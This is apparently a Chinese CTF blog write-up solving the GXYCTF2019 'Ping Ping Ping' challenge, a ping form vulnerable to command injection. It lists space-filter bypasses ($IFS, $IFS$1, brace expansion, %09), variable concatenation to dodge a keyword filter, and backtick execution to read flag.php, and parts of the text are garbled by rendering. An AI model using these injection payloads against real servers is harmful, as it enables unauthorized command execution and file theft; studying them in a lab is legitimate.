十、[GXYCTF2019]Ping Ping Ping

1.打开题目
在这里插入图片描述

2.题目分析
① 加上题目是ping ping ping
所以可以猜测是需要我们命令执行读取flag
加上?ip=127.0.0.1
在这里插入图片描述

②  可以看到页面成功返回,我们尝试使用管道符执行我们想要执行的命令
?ip=127.0.0.1 | ls
在这里插入图片描述

③ 怀疑是空格的原因,去掉空格,改为
在这里插入图片描述

④ 目录下存在flag.php和index.php文件,尝试cat flag文件
考虑到之前的空格会被检测,我们绕过空格
绕过空格的思路一般有:
   I F S     IFS    IFS  {IFS}
  $IFS$1 // 1 改 成 1改成 1加其他数字貌似都行
  <
  <>
  {cat,flag.php} //用逗号实现了空格功能
  %20
  %09
我们这里使用 I F S , 即 构 造 ? i p = 127.0.0.1 ∣ c a t IFS,即构造?ip=127.0.0.1|cat IFS?ip=127.0.0.1catIFSflag.php
不过页面显示的错误信息改变:
在这里插入图片描述

⑤ 猜测是因为检测了flag,所以我们尝试先读取index.php
?ip=127.0.0.1|cat I F S i n d e x . p h p , 还 是 没 有 显 示 结 果 , 依 次 尝 试 : ? i p = 127.0.0.1 ∣ c a t IFSindex.php,还是没有显示结果,依次尝试:?ip=127.0.0.1|cat IFSindex.php?ip=127.0.0.1catIFS$1index.php成功
在这里插入图片描述

可以看到对我们的输入进行了过滤,在flag贪婪匹配里面我们不将flag连着写,就不会匹配到,同时可以看到有 a 变 量 , 尝 试 覆 盖 它 ⑥   变 量 拼 接 ? i p = 127.0.0.1 ; a = g ; c a t a变量,尝试覆盖它 ⑥ 变量拼接 ?ip=127.0.0.1;a=g;cat a ?ip=127.0.0.1;a=g;catIFS 1 f l a 1fla 1flaa.php
查看源代码里面就有flag
在这里插入图片描述在这里插入图片描述

另外我们可以尝试使用反引号内联执行的做法,linux下反引号``里面包含的就是需要执行的系统命令
而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令
?ip=127.0.0.1;cat$IFSls
在这里插入图片描述在这里插入图片描述

3.获取flag
flag{7bb90144-e9c0-4ca8-8936-783423ae95c7}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值